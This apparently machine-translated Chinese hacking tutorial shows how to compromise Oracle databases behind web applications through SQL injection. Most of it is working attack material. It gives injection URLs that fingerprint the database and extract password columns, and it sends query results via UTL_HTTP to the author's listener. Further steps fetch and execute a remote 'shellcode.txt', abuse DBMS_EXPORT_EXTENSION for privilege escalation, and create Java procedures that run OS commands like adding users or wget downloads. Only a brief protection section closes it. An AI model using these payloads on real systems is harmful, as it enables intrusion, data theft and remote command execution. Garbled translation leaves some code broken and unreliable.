Created:
Article attributes: original
Article submission: T_Torchidy (jnchaha_at_163.com)
Oracle web Environment Injection Technology
#
# BY Jianxin
# Http://www.loveshell.net/
#
Preface
I am not a professional database administrator, nor a researcher who specializes in oracle Security. Many of the statements in this article are not professional and I do not understand the database well, even a lot of statements may not be suitable for different versions. Some technologies have been mentioned for a long time. This article only looks at how to intrude into an Oracle database protected by the firewall from the perspective of web security, I have summarized and extended some intrusion technologies and tried to understand the principles. This article does not discuss some commonalities in SQL injection, such as using substr functions and classic injection, but from the perspective of oracle Database, try to show some SQL injection infiltration ideas and how to use some database features to perform the largest web intrusion. Some cool tools will be released soon, hoping that others will like manual injection.
1. Brief Introduction to Oracle
Oracle, as an early-stage RDBMS database, has a large market share and is often used in some large databases. In addition to supporting a variety of SQL statements, it also provides a variety of packages, stored procedures, and even supports features such as java and library Creation, such powerful functions provide great convenience for Hacking.
Oracle has many default accounts and many stored procedures. These stored procedures are created by the system and many are open to public by default, in the past few years, many oracle vulnerabilities have been published, including overflow and SQL injection. In this case, the SQL injection vulnerability is particularly serious, because in Oracle, when no other keyword AUTHID CURRENT_USER is added, the created stored procedure runs as the creator at runtime, public has the permission to call these stored procedures. Therefore, once the built-in stored procedures are injected, it is easy for common users to escalate their permissions to the Oracle system. Oracle itself has many built-in accounts, some of which have the default password and CONNECT permission, so that if the oralce port is not protected by the firewall and can be remotely connected, attackers can remotely log on to the system using the default account, and then exploit the SQL injection vulnerability in the stored procedure in the system. The system will crash. Of course, sid is required to log on to oracle, however, this is not difficult. oracle's tnslintener does not set a password by default. You can use tnscmd. pl uses the services command to identify the sid of the system (to a newer version, this vulnerability has been fixed), which is also a classic method of intrusion into oracle.
2. Oracle Web Hacking Technical Background
A wide range of oracle system tables. Almost all information in oracle is stored in the system table, including the current database running status, current user information, and current database information, information about databases and tables accessible to users ...... system tables are the core part of the entire database. By properly querying the required system tables, almost all information can be obtained. Such as sys. v _ $ option contains some information about the current database, such as whether java is supported. all_tables contains all table information, all_tab_colmuns contains all column information, and so on, it provides great convenience for us to obtain information. The following describes how to use a system table to obtain sensitive information.
In oracle's various vulnerabilities, there is no mystery in particular about the injection of stored procedures. stored procedures and functions accept user input and then send them to the database server for parsing and execution, if it is executed in the form of an SQL string, it is easy to confuse data with commands, resulting in SQL injection. However, the nature of injection vulnerabilities varies according to the injection occurrence points. Oracle uses PL/SQL, and the vulnerability occurs in DML statements such as select, because multi-statement execution is not supported, therefore, if you want TO run your own statements such as grant dba to lovehsell, you must create your own functions or stored procedures. If you do not have the relevant permissions, you can also use cursor injection, use the dbms_ SQL package to repeat the restrictions. Most of the injections are the limited injections above. You must rely on other packages or cursor you have created to improve the permissions, however, there are still some rare vulnerabilities, but the injection environment is very loose, that is, users' input is injected with anonymous pl/SQL blocks between in and end, injection in this environment can be directly injected into multiple statements without any restrictions. We can see how brilliant this flash vulnerability has brought to our web injection technology.
Well, the attack technologies mentioned above are some of Oracle's attack technologies, but now many environments are open to external web services, and the background database is protected by the firewall, so it cannot get too much detailed information about the database, you cannot directly log on to the database to perform operations. In this case, you must consider using web vulnerabilities to attack the background database. Now let's take a look at how to inject data in the Oracle web environment! Oracle can work well in various web environments, and the effects of various web environments on our injection are not very great. In asp ,. net, jsp does not filter the input parameters, but because. net, jsp language is a strong type language, in the digital injection, even if the SQL statement is not filtered, but may encounter errors when receiving parameters, therefore, injection occurs more on string parameters. In the php environment, all 'will be escaped as \', and \ 'in the oracle environment will not be escaped (the correct escape in the oracle environment should be ''), however, using 'in our own injection statement will be damaged because it is converted to \', so it cannot be used during injection '. In addition, there are no restrictions in the web environment. In terms of databases, if a statement is executed in the form of parameters, it cannot be injected unless it is connected using a string (because the string connection method is relatively simple, for some historical reasons, many programmers tend to prefer this method.) string connection methods are also divided into two types. The parameters are between DML statements such as select, update, and insert, the parameter is between the pl/SQL anonymous block. If the web program does not capture errors, we can easily determine the type of the current statement based on the errors, which will be mentioned later. There are few anonymous pl/SQL blocks, but they are not excluded. there is basically no restriction on such injection. You can execute multiple statements to do anything, it is no different from local login.
III. Basic Idea of Oracle Web Hacking
The following describes how to determine the target, and how to determine the injection parameters. The main difference is how to determine that the database belongs to oracle and can easily be determined based on the characteristics of the database. oracle supports -- type annotation, but not supported. Multiple statements are executed separately. There are many system tables in oracle, such as all_tables. By accessing these tables, you can determine whether the tables belong to oracle, in addition, some functions in oracle can also be used to judge, such as utl_http.request, and small language details can also be used to distinguish systems, such as in oracle | is a connection symbol, but it is not in other databases, so and chr (123) | chr (123) = chr (123) | chr (123), if it can be smoothly executed, it should basically be oracle. In addition, when some scripts encounter database query errors, the error information is not processed, and the real background database will also be leaked, this can be clearly seen.
Then you need to determine the injection point type. In general, the parameter we enter is basically a character type if it is not a number type (the search injection that many others call should actually be attributed to the character type), so there is no need to consider the numeric type, it is easy to add -- Comment Characters so that the statement can be properly closed. If it is of the character type, we should consider how to make the entire statement correct, generally, add 'and -- these injection characters to construct your injection environment. In some complex situations, just as a parameter appears in multiple SQL statements and logic, you must carefully construct injection statements that meet the environment. Remember, we only need a good environment to facilitate the insertion of our own SQL commands :)
When you determine that the target database is Oracle and can be injected, you can start to construct statements. Generally, the first step is to determine the current permission. in Oracle databases, the DBA permission is relatively high, and all permissions are granted to the Oracle database. In addition, if the current user's permission is not granted, you can also perform cross-database queries. You can try to access a dba table such as dba_tables to test whether the table is a dba. In general injection, there are select injection, insert injection, and update injection. Update and insert injection can change the data in the database based on the context. For example, if an update injection is used to change an important field in the table to the value we want, it doesn't matter even if these databases are irrelevant, we can use the select Sub-statement to query the data we need and then read the data somewhere else. As long as we follow the database syntax, we can achieve our own goal. Here we mainly talk about the select injection. If we can control a part of the select statement, this type of injection may be implemented. If the query results can be returned to the page, you can also try to use union to query the result and directly display the content on the page. This is the most convenient one. In fact, we can see that no matter what injection, in the oracle web environment, you can directly execute system commands to return shell.
To obtain sensitive data in Oracle, you must first obtain a system table in oracle. You can obtain any data with the permission. Key system tables include all_tables and all_objects, which are accessible with the permission, this includes permissions granted to you by others. Therefore, if your permissions are dba, you can see all the tables in the system, one technique in injection is that if you need to log in from the background but do not know the password, you can use it here. For example, you can guess that the column name contains a method that does not contain a password, which is also described in the following example.
In addition, you need to know the union query, which is similar to other databases in oracle union query and requires the same number of columns and the same type. There are many oracle types and common character types, numeric and date types. Generally, we can use union queries and display character types. Therefore, we need to precisely locate which field meets our requirements (1 will be displayed on the page, there will be a lot of processes from the beginning to the end of the data, and a lot of data will be processed multiple times in the middle, so to find the data that can be displayed, it is often not that smooth, this display includes many places, including the returned http header, page body, and even cookie. Because most of the data we output is of the character type, it is necessary to use this type to correctly match the length of 3. Although we can use some character functions to solve this problem, but long enough fields are always very simple), oracle does not perform data type conversion by itself, but oracle provides a NULL type that can match all data types, therefore, after locating the number of fields, we can fill in null for matching in each field of union. In addition, oracle does not support queries such as select 1, and the syntax requires that select must have a keyword, if no table is available, you can use the dual table that is assigned permissions by default in the system. The number of fields to be located is also relatively simple. Like other databases, order by 1 can be used. If the number of fields exists, it will be normal, generally, the page logic will make this parameter appear in more than one place, so order by is inconsistent, so union query is not allowed. In this case, the target language does not support '', so you can use the chr functions to solve these problems.
Even if union is not supported, some features of oracle make it easy for us to get the desired information, that is, using the utl_http.request package of the system. You can think of this package as a common function, this function is used to obtain the request information of a remote web server. Therefore, we can listen to the port and send the required data through this function, in this case, it is very important to check whether the database can access the Internet or export IP addresses. With the rich packages, functions, and stored procedures in these systems, everything can be done in oracle as long as there is an injection point, including permitted permissions and not permitted permissions. Remember, it is everything.
Sensitive data is only part of what we want. It may be more attractive to directly import data into oracle. In this case, viewing system information is very valuable and it is also important to use the injection flexibly. After oracle is started, some variables used by the system are placed in some specific views, which can be used to get what you want. Usually important information is:
1. Current user permission (select * from session_roles)
2. Current Database version (select banner from sys. v _ $ version where rownum = 1)
3. Server egress IP address (which can be implemented using utl_http.request)
4 server listening IP (select utl_inaddr.get_host_address from dual)
5 Server Operating System (select member from v $ logfile where rownum = 1)
6 server sid (for remote connection, select instance_name from v $ instance ;)
7. CURRENT connected USER (select SYS_CONTEXT ('userenv', 'current _ user') from dual)
......
After knowing the above information, you can find out whether the server is on the Internet or intranet. remote connection is not supported. If you support remote connection, you can try to log on with the default password and the obtained sid, after obtaining the local permissions, you can try to use the injection in many packages to enhance the permissions. You can find many loopholes in the key words of oraclesearch at http://www.milw0rm.com.
If it is remote and cannot be connected, we can still use the package's SQL injection. I mentioned above that we can do anything and use an injection point to easily obtain shell. As mentioned above, there are several injection packages in oracle. What we need here is the injection of pl/SQL blocks. This injection allows direct execution of multiple statements, therefore, in web injection, we can directly execute multiple statements as sys, such as adding users and creating their own stored procedures. There are almost no restrictions. However, this injection of the system is rare. It was announced in, namely SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES. The specific vulnerabilities are unknown, and I have not found the details. I will analyze some simple black boxes later, we only need to know that this is a pl/SQL injection of a stored procedure in the system, which can lead to the execution of multiple statements, and the oracle patch mechanism is not very complete, basically, no administrator will go to patching, so we can regard this as a Hacking interface provided by the system to execute multiple statements. If you encounter an SQL injection that is in pl/SQL itself, then congratulations.
The steps above allow you to get what you want and get an environment that can execute multiple statements. In the multi-statement execution environment, you can use the powerful functions of oracle itself, such as supporting java to create external stored procedures, and supporting utl_file package to write files, etc, it is convenient to use java to write a shell or directly use java package to return a system shell.
4. injections in the real world
So what should a real-world injection look like? Let's try to get a shell from the injection point :)
First, we find a page that may have an injection, list. jsp? Username = loveshell. An error occurs when we add a 'result. An oracle background database is identified by an error. oracle-xxxx contains oracle, and then the statement is used:
List. jsp? Username = loveshell 'and ''| '1' = '1 normal
List. jsp? Username = loveshell 'and ''| '2' = '1, return null
List. jsp? Username = loveshell '--
In this way, we can know that it is an oracle character injection point, so we can use this method to insert our own SQL statement.
List. jsp? Username = loveshell 'and [Our SQL statement] --
At this time, we can consider the subsequent intrusion ideas based on our own goals. One is to develop towards the web and penetrate the web by querying the database information. The other is to directly intrude into the database, of course, oracle and web are a perfect machine. Let's talk about how to query the information stored in the database! To obtain information, we need to feedback the information back. One is to use union queries. For example, our intrusion method is similar to the following:
List. jsp? Username = loveshell 'order by 10 -- error. If the error message is reported, such as xx coloum does not exist, the number of fields is less than 10.
List. jsp? Username = loveshell 'order by 5 -- normally displayed, the number of fields is greater than 5
......
At last, an error occurs when order by 8 is found. order by 7 is normal, which indicates that there are 7 fields. Note: In general, the page logic is very simple, so order by can be used to guess. However, if this parameter enters more than two SQL statements, the number of fields in the result is different, it is difficult to use this method. Of course, if more than two SQL statements are entered, the union query cannot be used because the number of fields before and after the SQL statement is different and the conditions cannot be met, next we will talk about a omnipotent way to obtain data. Here we will talk about a more intuitive union query.
List. jsp? Username = loveshell 'Union select NULL, NULL from dual -- match the corresponding fields with seven NULL values without field types, different from mysql, an existing table must be added to the select statement, which is dual.
The returned result is normal, and then we can continue. The fields used for information feedback need to meet the conditions in my above basic ideas.
List. jsp? Username = loveshell 'and 1 = 2 union select 1, NULL, NULL from dual -- normal
List. jsp? Username = loveshell 'and 1 = 2 union select 1, 2, NULL, NULL from dual -- error, the second field is not a numeric type
List. jsp? Username = loveshell 'and 1 = 2 union select 1, '2', NULL, NULL from dual -- error, the second field is not of the character type
This is possible because fields include other types such as dates. This type is useless for our feedback, so NULL is skipped directly.
List. jsp? Username = loveshell 'and 1 = 2 union select 1, NULL, '3', NULL from dual -- this time is normal, this field is exactly what we are looking. Sometimes, what if I want to see the number? For example, if you want to view the number of records, you can directly use the binary method, but it is more intuitive to directly display it. For example, you want to view the number of dba_tables records.
List. jsp? Username = loveshell 'and 1 = 2 union select 1, to_char (select count (*) from dba_tables), '123'), NULL, NULL from dual --
Of course, there are other to _ series functions that indirectly implement automatic conversion in other databases. This field is displayed on the page and long enough to store our data, so we can make full use of this field for query. For example, we can obtain the system version information.
List. jsp? Username = loveshell 'and 1 = 2 union select 1, (select banner from sys. v _ $ version where rownum = 1), NULL, NULL from dual --
If union cannot be used, it does not matter. As long as it is an oracle database, we can return the information, so we don't need to be so pessimistic about classical queries, first, use nc-l-vv-p 9999 locally, and then use
List. jsp? Username = loveshell 'and UTL_HTTP.request ('HTTP: // www.loveshell.net: 9999/' | (select banner from sys. v _ $ version where rownum = 1) = 1 --
In this case, port 9999 of loveshell.net should return sys. the banner of v _ $ version is the database version. We also obtain the ip address of the network where the database is located. In addition, we also know whether the database allows external connections and other information. Here we use subqueries to obtain data. Oracle does not have a statement like limit, so we can use where rownum = 1 to return the first data. But what if I want to know another record? Direct rownum = 2 is not acceptable. Here we can nest a subquery again
List. jsp? Username = loveshell 'and UTL_HTTP.request ('HTTP: // www.loveshell.net: 9999/' | (select data from (select rownum as limit, banner as data from sys. v _ $ version) where limit = 2) = 1 --
In this way, we can get the second record, and use it flexibly to quickly obtain the required data.
Other accounts, such as those in the background, can be returned in this way. This data theft method applies to functions such as update and insert. If you do not believe that the UTL_HTTP package does not exist, you can use the select count (*) statement (*) judging from all_objects where object_name = 'utl _ http', note that the data in the system table is case sensitive, but the keywords themselves are case insensitive. In addition, some hosts are not configured with dns or cannot access the Internet. If dns is not configured, you can use the ip address access method for testing. If you cannot access the Internet, you need to use other methods.
When we can get the data, we continue to move closer to the web Background. If we know the background address but no password, we can query the system table to find the sensitive field, such as where passwd is, then we can use the above information to steal the information. All_tables contains information about all tables. You can use all_tab_columns to find out where a field containing passwd is located:
List. jsp? Username = loveshell 'and 1 = 2 union select 1, NULL, (select table_name | chr (35) | column_name from all_tab_columns where column_name like '% 25 PASS % 25' and ROWNUM = 1), NULL from dual --
Among them, % 25 is % of transcoding, so that we can obtain the sensitive data we need. In addition, note that the data in the oracle system table is in uppercase, so PASS instead of pass, you can also use the function to convert it to lowercase letters, for example, lower (column_name) like '% 25 pass % 25'. after entering the web Background, you can continue to use the background function for penetration.
Another way of thinking is to directly obtain the system shell. In windows, oracle is started as a service, so that the system permission can be directly obtained through web injection, it is very attractive. Let's see how it works! First of all, we need to use pl/SQL injection, which is rare in the system we mentioned above. In addition, to illustrate the processing of injection in the php environment, now let's assume that our intrusion environment is on php + Oracle, And the firewall has restricted direct access to the oracle port, if it is open, you can easily add a system account on the network!
First, some simple analysis of the injection of the function SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('foo', 'bar', 'dbms _ OUTPUT ". PUT (: P1); execute immediate ''declare pragma AUTONOMOUS_TRANSACTION; begin execute immediate ''' create user testyou identified by testyou '''; END;''; END; -- ', 'sys', 0, '1', 0) =''
This is the prototype I have seen. After analysis, we can see that the injection exists in the third parameter, and it is because "No filter exists. If we extract the third parameter
DBMS_OUTPUT ". PUT (: P1); execute immediate ''declare pragma AUTONOMOUS_TRANSACTION; begin execute immediate ''' create user testyou identified by testyou '''; END;''; END ;--
DBMS_OUTPUT ". PUT (: P1); and END; -- all the parts are the original vulnerability injection Statement, which is ''because we want to submit in ', however, the outer layer enclose the string exactly. Therefore, escape the string and use ''. You can see that this can be avoided by using the chr function later. Here we will extract it for web Hacking. The original form of this function is:
SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('foo', 'bar', 'dbms _ OUTPUT ". PUT (: P1); [multi-statement] END; -- ', 'sys', 0, '1', 0)
If we want to execute multiple statements and do not want to see the ones that will be processed by php, we need to perform simple deformation on this statement. If 'appears in multiple statements, we need to escape it.
SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (chr (70) | chr (79) | chr (79), chr (66) | chr (65) | chr (82), chr (68) | chr (66) | chr (77) | chr (83) | chr (95) | chr (79) | chr (85) | chr (84) | chr (80) | chr (85) | chr (84) | chr (34) | chr (46) | chr (80) | chr (85) | chr (84) | chr (40) | chr (58) | chr (80) | chr (49) | chr (41) | chr (59) | [multi-statement] | chr (69) | chr (78) | chr (68) | chr (59) | chr (45) | chr (45), chr (83) | chr (89) | chr (83), 0, chr (49), 0)
If 'is not displayed, and the part that can execute multiple statements is clear, the mode used on web hacking is
List. php? Username = loveshell 'and SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (chr (70) | chr (79) | chr (79), chr (66) | chr (65) | chr (82), chr (68) | chr (66) | chr (77) | chr (83) | chr (95) | chr (79) | chr (85) | chr (84) | chr (80) | chr (85) | chr (84) | chr (34) | chr (46) | chr (80) | chr (85) | chr (84) | chr (40) | chr (58) | chr (80) | chr (49) | chr (41) | chr (59) | [multi-statement] | chr (69) | chr (78) | chr (68) | chr (59) | chr (45) | chr (45), chr (83) | chr (89) | chr (83), 0, chr (49), 0) = 0 --
The first loveshell won't be affected because it will be converted to loveshell \ ', and oracle considers it as loveshell \ followed by a', which is completely legal. This vulnerability is related to the system. At least we need to test whether the vulnerability exists? It is also very simple. If the entire parameter is well processed, we should be able to parse the invalid statements in multiple statements. Therefore, we can use multiple statements for testing.
List. php? Username = loveshell 'and SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (chr (70) | chr (79) | chr (79), chr (66) | chr (65) | chr (82), chr (68) | chr (66) | chr (77) | chr (83) | chr (95) | chr (79) | chr (85) | chr (84) | chr (80) | chr (85) | chr (84) | chr (34) | chr (46) | chr (80) | chr (85) | chr (84) | chr (40) | chr (58) | chr (80) | chr (49) | chr (41) | chr (59) | [an invalid SQL statement, such as chr (79)] | chr (69) | chr (78) | chr (68) | chr (59) | chr (45) | chr (45), chr (83) | chr (89) | chr (83), 0, chr (49), 0) = 0 --
If an error occurs, it indicates that the vulnerability exists (the host I tested basically has this vulnerability: P). However, you can see a very troublesome problem here, if every character in our multi-statement is converted into chr, the entire parameter will be very large. So here we use the shellcode concept to place our exploit in another place. Let's look at my statement!
List. php? Username = loveshell 'and SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES (chr (70) | chr (79) | chr (79), chr (66) | chr (65) | chr (82), chr (68) | chr (66) | chr (77) | chr (83) | chr (95) | chr (79) | chr (85) | chr (84) | chr (80) | chr (85) | chr (84) | chr (34) | chr (46) | chr (80) | chr (85) | chr (84) | chr (40) | chr (58) | chr (80) | chr (49) | chr (41) | chr (59) | utl_http.request ('HTTP: // www.loveshell.net/shellcode.txt') | chr (69) | chr (78) | chr (68) | chr (59) | chr (45) | chr (45), chr (83) | chr (89) | chr (83), 0, chr (49), 0) = 0 --
Yes, since the many statements we pass are only strings, why not put the strings on a remote machine and then use the utl_http package to get them back for execution? :), I did not.
Okay, what we can do here is to let Oracle run a file on my remote machine as PL/SQL. It's good to open all the above, returns a shell using the current condition. To query relevant documents, it is better to know that a common method to return shell is to use the java external storage process. Currently, unless on a personal machine, java options are generally supported, therefore, we need to use java to create a stored procedure for executing commands. As our shellcode, we need to change something, that is, to change the necessary 'into ''. Why do we have to talk about this before.
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "JAVACMD" AS import java. lang. *; import java. io. *; public class JAVACMD {public static void execCommand (String command) throws IOException extends runtime.getruntime(cmd.exe c (command) ;}}; ''; END ;';
In this way, a java package of JAVACMD is created, which contains a function execCommand, and then the Oracle storage process is created,
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace procedure javacmdproc (p_command IN VARCHAR2) as language java name '''javacmd.exe cCommand (java. lang. string) '''; END ;';
Put it in our response (Please replace utl_http.request ('HTTP: // www.loveshell.net/shellcod.txt') with utl_http.request (chr ().... in the form of chr (), a javacmdproc process will be created and stored on the server. The parameter is a string and will be executed as a command. Let's try it.
Replace shellcode.txt
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate' 'in in logs/c net user loveshell/add'''); end; ''; END ;';
Or in linux
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''begin javacmdproc (''' wget http://www.loveshell.net/-O/tmp/loveshell '''); end ;''; END ;';
It may be successful, but it may be similar to the following situations:
ERROR at line 1:
The ORA-29532: Java call terminated by uncaught Java exception:
Java. security. AccessControlException: the Permission (java. io. FilePermission
<All files> execute) has not been granted to LOVESHELL. The PL/SQL to grant
This is dbms_java.grant_permission ('loveeshell', 'sys: java. io. filepermission ',
'<All files>', 'execute ')
ORA-06512: at "LOVESHELL. JAVACMDPROC", line 0
ORA-06512: at line 1
It doesn't matter. java also requires permissions in oracle. We need to grant relevant permissions to it! In Oracle
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''grant policyspriv to loveshell;''; END ;';
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''begin exec dbms_java.grant_permission (''' LOVESHELL ''', ''' SYS: java. io. filePermission ''', ''' <all files> ''', ''' 'execute '''); end; ''; END; ';
Each server may be set differently. You can grant the required permissions to it.
Then, let's put the sentence of this sentence into shellcode.txt and execute the command smoothly. Java itself is very powerful, and direct return of shell is also possible. Of course, when the database is on the local machine, you can use the utl_file package in the system to write a file. In this case, the code running in shellcode.txt is simple.
Execute immediate 'destclare PRAGMA success; begin execute immediate' 'create or replace procedure utlwritefile (p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as fd success; begin fd: = utl_file.fopen (p_directory, p_filename, '''a' '''); utl_file.put_line (fd, p_line); if (utl_file.is_open (fd) = true) then utl_file.fclose (fd ); end if; end; ''; END ;';
This is the utlwritefile storage process for creating writable files. Note that the directory here is a virtual directory in oracle, not a physical directory. We need to create a virtual directory ourselves and grant related permissions.
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace directory utl_dir_new as ''' f:/inc/'''; END ;';
Assume that you need to write something to f:/inc, create an oracle directory of utl_dir_new, and grant permissions
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''grant write on directory utl_dir_new to public; ''; END ;';
Execute immediate 'destclare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''in in utlwritefile (''' UTL _ DIR_NEW ''', ''' 1. php ''', ''' test '''); end; ''; END ;';
Note the case sensitivity of UTL_DIR_NEW. Here we write test to 1. php In UTL_DIR_NEW.
5. Environment restrictions
The preceding example shows the vulnerability of the function SYS. DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES. The vulnerability has a lot to do with the version, so the above information detection is also important. In fact, a similar vulnerability exists in earlier 8i versions, ctxsys. driload. validate_stmt ('Grant dba to scott ') can directly execute various Oracle statements with high permissions or use them in web environment injection. As long as there is a vulnerability that can be used to execute multiple statements, web injection can be of great value.
6. Protection
First, try to have good programming habits and avoid using string connection to execute SQL statements. If you must use string connection to execute SQL statements, filter the entered parameters, if it is a number, it is forced to be a number. If it is a string type, it is necessary to filter the data from the database and other channels. The SQL injection vulnerability must be eliminated on the web app. In addition, in the Oralce aspect, the firewall of port 1521 should be well filtered to avoid direct login, and some unnecessary packages and stored procedures can be considered to be deleted, patch some SQL injection vulnerabilities in a timely manner to avoid database intrusion.
References and websites
1 http://www.milw0rm.com/
2 The_Oracle_Hacker's _ Handbook_Hacking_and_Defending_Oracle
3 http://blog.csdn.net/kj021320/archive/2007/08/28/1762769.aspx
4 http://www.red-database-security.com/